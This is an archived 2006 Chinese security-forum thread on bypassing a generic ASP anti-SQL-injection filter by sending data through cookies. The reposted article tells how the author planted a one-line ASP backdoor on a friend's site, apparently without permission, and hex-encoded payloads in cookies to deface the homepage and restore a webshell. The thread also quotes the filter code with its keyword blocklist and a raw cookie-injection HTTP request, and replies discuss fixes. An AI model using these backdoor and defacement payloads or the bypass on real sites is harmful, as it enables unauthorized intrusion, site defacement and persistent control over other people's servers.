邪恶八进制信息安全团队技术讨论组's Archiver

xiao2004 2006-2-18 14:00

[讨论]通用防注入原来形同虚设 是否可行?

议题提交:xiao2004
信息来源:邪恶八进制信息安全团队

原文如下,我用红字写出来:
[color=crimson]发布时间:2005-12-1 8:34:55    信息来源:西部网安


这是个很大的漏洞哦。

1、漏洞的发现

事情是这样的。我通过一些方法在朋友的网站上搞到一个webshell,然后又在某个页面上加了一句话后门:<%if request("qjgc")<>"" then execute request("qjgc")%>。后来朋友删了我的webshell,我就想利用这个一句话后门再写一个webshell进去。结果一提交就弹了个框框出来说我提交的数据非法,ip已记录。当时就郁闷了,忘了朋友用了通用防注入程序,也就是说我向一句话木马里提交的数据不能出现被通用防注入过滤掉的字符,否则就非法了。
现在回想一下,其实通用防注入里过滤掉的字符并不多,只是针对sql注入的过滤,我们完全可以构造一个上传“上传小马”的代码提交过去,然后再利用那个“上传小马”来上传大马(上传小马里面没有include那些讨厌的防注入代码,可以提交任意数据)。但是我当时就完全没有这样想,像是短路了一样以为被过滤得什么数据都提交不了了。
明知道有一句话木马却用不了,我很不甘心。突然我想到如果我用cookies来提交qjgc的值会怎样呢?于是打开MyBrowser实验了一下。
打开MyBrowser,然后随便访问朋友网站上的一个欣赏flash的动态页面:/flash_show.asp?id=20。接着把地址栏中的?id=20删了,在cookies里面写上:; id=20,然后刷新一下,页面没有变化。把cookies里的id=20改成id=19再刷新一下,发现flash变了一个。
这说明把url里的提交数据写进cookies里确实可行。现在来最重要的一步:把cookies改成id=20&#39;后刷新,并没有出现那个什么提交非法数据的提示!成功绕过了通用防注入程序!

2、漏洞的利用

既然如此,那我们就通过cookies把qjgc的值提交进去。这里要注意,通过cookies提交数据一定要转换成16进制,否则会出错的。我之前一直不成功就这个原因。
我们先来试试可不可以改他的主页。改主页的代码如下:
a="<script>window.alert(""千寂孤城又来啦!"")</script>":set fso=server.createObject("scripting.filesystemobject"):set file=fso.opentextfile("***index.asp",2,TRUE):file.write a :file.Close
随便打开一个16进制转换工具,把以上代码放进去转换,得到一串16进制代码:%61%3D%22%3C%73%63%72%69%70%74%3E……全部复制下来,然后打开MyBrowser,来到有一句话木马的页面,在cookies那里加上:; qjgc=%61%3D%22%3C%73%63%72%69%70%74%3E……刷新一下,没有出错,再到首页去看一看,首页已经成功被我们修改了。
接下来我又用此方法上传了一只asp马,webshell又回来了。

3、漏洞的原因

说实话到底为什么会成功我也不很清楚,我们先来看看通用防注入的代码:

<%

&#39;--------定义部份------------------
Dim XH_Post,XH_Get,XH_In,XH_Inf,XH_Xh,XH_db,XH_dbstr
&#39;自定义需要过滤的字串,用 "|" 分隔
XH_In = "&#39;|;|and|exec|insert|select|delete%20from|update|count|*|%|chr|mid|master|truncate|char|declare|drop%20table|from|net%

20user|xp_cmdshell|/add|net%20localgroup%20administrators|Asc|char"
&#39;----------------------------------
%>

<%
XH_Inf = split(XH_In,"|")
&#39;--------POST部份------------------

……针对表格提交数据的,我省略了。

&#39;----------------------------------

&#39;--------GET部份-------------------
If Request.QueryString<>"" Then
For Each XH_Get In Request.QueryString

For XH_Xh=0 To Ubound(XH_Inf)
If Instr(LCase(Request.QueryString(XH_Get)),XH_Inf(XH_Xh))<>0 Then
Response.Write "<Script Language=JavaScript>alert(&#39;爪子!搞破坏所?此路不通&#39;);</Script>"
Response.Write "非法操作!系统做了如下记录↓<br>"
Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
Response.Write "操作时间:"&Now&"<br>"
Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式:GET<br>"
Response.Write "提交参数:"&XH_Get&"<br>"
Response.Write "提交数据:"&Request.QueryString(XH_Get)
Response.End
End If
Next
Next
End If
&#39;----------------------------------
%>

  我的理解是cookies里的数据不属于Request.QueryString但是属于request,而asp页面中处理客户端提交的数据时一般写法是id=request("id")一类的语句,通用防注入只是针对Request.QueryString进行的过滤,所以就绕过了检查。

4、漏洞的修补

其实只要勤快点就好了,除了每个页面都把防注入代码include进去之外最好还是自己动手改改代码吧。比如把id=request("id")一类的语句改成id=Request.QueryString("id")。或者是在id=request("id")后面加上if isnumeric(id)=false then response.redirect "/error.htm"之类的语句,因为这种过滤方法是针对id变量本身的,就无论如何绕不过去了。


PS:请期待NEEAO 的  通用防注入系统3.1β,近日发布。[/color]

可用注入提交,直接得到webshell?
我们的asp写sql语句一般写法是
sql="select * from admin where id="&id
conn.execute(sql)
向千城老大讨教,如何才能构造达到上传webshell,一直想不通。。。

lucky_feng 2006-2-18 15:39

这篇文章千寂孤城在这里发布过,楼主可以搜索一下。

千寂孤城 2006-2-18 16:28

不是构造达到上传webshell,cookies提交数据和url提交数据都是sql注入,方法和效果是一样的。得到webshell是因为我本来就有一句话木马。之前我得到webshell后就在对方的站上一个页面里插入了<%if request("qjgc")<>"" then execute request("qjgc")%>这句话,这样以后webshell丢了在url地址里提交qjgc=……就又可以得到webshell了,但是对方的网站用了通用防注入程序,所以后来利用的时候才发现在url里提交qjgc的值很受限制。所以我就用cookies来提交了。

至于SQL注入如何得到webshell我知道的方法就是建表、写表、再导出。可以参考以前臭要饭写的一篇文章《利用纯脚本技术获得系统权限》:[url]http://www.eviloctal.com/forum/htm_data/33/0406/70.html[/url]。

xiao2004 2006-2-18 18:21

终于弄懂了,你是原先有木马的啊,然后让人加入了防注入,你再用cookies来执行你的木马。
但不晓得基于cookies的注入程序该怎么写。我用socket写竟然得不到返回信息。
用nc提交也不行。

GET /Reg.Asp?action=checkuser HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Accept-Language: zh-cn
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)
Host: localhost
Connection: Keep-Alive
Cookie: user_name=xiao and 1=1; undefined=1; CfCountgg=yes; CfCountVisitTotalCookie=1; CfCountCookie=D1; CfCountggCookie=yes;ASPSESSIONIDQSTQRSBR=KKGPCHHDAJMHEHPJLFGCBFLD

千寂孤城 2006-2-18 18:48

用MyBrowser提交就可以了

lake2 2006-2-18 20:48

kevin写了个程序,可试试
[url]http://kevin.cnxhacker.net/blogview.asp?logID=404[/url]

新的防注入已经能够处理cookie了

xiao2004 2006-2-18 21:07

他的这个我看了,我刚在QQ上发消息给他,想要源码,不知他肯不,不过他是用delphi写的,肯定里面用了啥控件,我只喜欢vc++,所以也用不了,
我刚刚自己搞定了,嘿嘿,

想防止cookie注入是很简单的啊,只要别用request("username"),而用request.form("username")

千寂孤城 2006-2-18 21:55

request.form("username")只能处理表格提交的数据,url提交的数据最好是用Request.QueryString("id")来防范

xiao2004 2006-2-19 12:52

不是这样的,楼上没明白我的意思,
站在开发人员的角度,输入用户名和密码的地方一般是表单,
你用Request.form("username"),就只能接收从表单传过来的值,而表单传过来的值会经过通用防注入程序过滤,所以就很安全了.
而用request("username"),就可以接收各种方式传过来的值.

千寂孤城 2006-2-19 14:37

呵呵是的,在源代码中要么用Request.form()要么用Request.QueryString()。反正尽量别用request()

softbug 2006-2-19 22:49

[quote][b]这里是引用第[/b][color=#ff0000][3 楼][/color][b]的[color=#000066]xiao2004[/color]于[/b]2006-02-18 18:21[b]发表的:[/b]
终于弄懂了,你是原先有木马的啊,然后让人加入了防注入,你再用cookies来执行你的木马。
但不晓得基于cookies的注入程序该怎么写。我用socket写竟然得不到返回信息。
用nc提交也不行。

GET /Reg.Asp?action=checkuser HTTP/1.1
.......[/quote]

我的解决方案也很方便,injection让人真的太头痛了。我现在都是这样设置的:
看到了没?把检查应用到cookies里面去了!

[attach]7355[/attach]

xiao2004 2006-2-20 10:47

嘿嘿,好东东啊,可惜只能用40天,楼上的是正式版吗?
哈哈,原来是softdebug大侠自己开发的。。。
能不能免费赠送一个啊,不过我安装试用之后,我网站全部打不开了,。。

ubst 2007-9-10 13:57

你们说的 我还是没看懂  我也碰到和楼主一样的问题了       kevin写的程序已经下载不下来了   郁闷   希望高手解答

页: [1]
© 1999-2008 EvilOctal Security Team